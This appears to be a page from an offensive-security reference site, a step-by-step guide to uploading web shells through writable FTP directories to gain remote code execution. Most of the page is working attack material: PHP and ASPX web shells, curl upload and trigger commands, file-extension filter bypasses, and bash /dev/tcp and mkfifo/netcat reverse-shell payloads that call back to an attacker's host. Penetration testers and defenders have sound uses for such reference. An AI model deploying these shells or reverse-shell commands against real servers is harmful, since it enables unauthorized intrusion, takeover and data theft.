# FTP Web Shell Upload

> Upload web shells via FTP to gain remote code execution. Covers anonymous/authenticated access, shell deployment, and triggering execution through a web server.

- **URL:** https://hackindex.io/services/ftp/exploitation/ftp-web-shell-upload
- **Path:** FTP > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/ftp/exploitation.md)
- **Published:** 2026-03-16
- **Updated:** 2026-08-11

When FTP write access lands in a directory also served by a web server, uploading a web shell and requesting it over HTTP gives remote code execution. This requires two confirmed conditions: write access to the FTP path, and that path being reachable over HTTP. Both are confirmed in [FTP Writable Directory Check](https://hackindex.io/services/ftp/vulnerability-discovery/ftp-writable-directory-check).

- **Web root mapping** upload a test file via FTP and request it over HTTP to confirm the path overlap.
- **PHP web shell** one-liner system() shell for Linux targets running Apache/Nginx with PHP.
- **ASPX web shell** cmd.exe wrapper for Windows targets running IIS.
- **Extension filter bypass** try .php5, .php7, .phtml, and .phar when the server blocks .php execution.
- **Reverse shell upgrade** trigger a bash or mkfifo reverse shell through the web shell and catch it with netcat.

## Identify the Web Root Path

The FTP root may be the web root, a subdirectory of it, or unrelated. Determine the relationship before uploading.

Check whether a test file uploaded to FTP is accessible over HTTP:

```bash
echo "pathtest" > /tmp/pathtest.txt
curl -s --user $USER:$PASSWORD -T /tmp/pathtest.txt ftp://$TARGET_IP:$PORT/pathtest.txt
curl -s http://$TARGET_IP/pathtest.txt
```

If the response contains `pathtest`, the FTP root maps directly to the web root. Test subdirectories:

```bash
curl -s http://$TARGET_IP/uploads/pathtest.txt
curl -s http://$TARGET_IP/files/pathtest.txt
```

Clean up the test file after confirming:

```bash
curl -s --user $USER:$PASSWORD -Q "DELE /pathtest.txt" ftp://$TARGET_IP:$PORT/
```

## PHP Web Shell

For Linux targets running Apache or Nginx with PHP:

```bash
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php
curl -s --user $USER:$PASSWORD -T /tmp/shell.php ftp://$TARGET_IP:$PORT/shell.php
```

Confirm execution:

```bash
curl -s "http://$TARGET_IP/shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

## ASPX Web Shell

For Windows targets running IIS:

```bash
cat > /tmp/shell.aspx << 'EOF'
<%@ Page Language="C#" %>
<% var p = System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo("cmd.exe","/c "+Request["cmd"]){UseShellExecute=false,RedirectStandardOutput=true}); Response.Write(p.StandardOutput.ReadToEnd()); %>
EOF
curl -s --user $USER:$PASSWORD -T /tmp/shell.aspx ftp://$TARGET_IP:$PORT/shell.aspx
curl -s "http://$TARGET_IP/shell.aspx?cmd=whoami"
```

## Upload to a Subdirectory

If the writable path is a subdirectory such as `uploads`:

```bash
curl -s --user $USER:$PASSWORD -T /tmp/shell.php ftp://$TARGET_IP:$PORT/uploads/shell.php
curl -s "http://$TARGET_IP/uploads/shell.php?cmd=id"
```

## Get a Reverse Shell

Start your listener:

```bash
nc -lvnp $LPORT
```

Trigger a reverse shell through the web shell. URL-encode the payload:

```bash
curl -s "http://$TARGET_IP/shell.php" --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"
```

mkfifo method if the bash redirect is filtered:

```bash
curl -s "http://$TARGET_IP/shell.php" --get --data-urlencode "cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $LHOST $LPORT >/tmp/f"
```

After catching the shell, stabilise it before proceeding. See [Shell Stabilization and TTY Upgrade](https://hackindex.io/platforms/linux/exploitation/shell-stabilization-tty-upgrade).

## Extension Filtering Bypass

Some web servers only execute PHP files with specific extensions. If `shell.php` is not executed, try alternate extensions:

```
shell.php5
shell.php7
shell.phtml
shell.phar
```

Upload each and request it over HTTP. If the server executes `.phtml` or `.php5` files, the bypass works.

## Handling FTP over Interactive Session

If curl fails due to server quirks, use an interactive ftp session:

```bash
ftp $TARGET_IP $PORT
# binary
# put /tmp/shell.php shell.php
```

The `binary` command ensures the file is not corrupted by line ending conversion during transfer.

## References

- [RFC 959 - File Transfer Protocol](https://www.rfc-editor.org/rfc/rfc959) - FTP STOR command specification covering file upload behaviour
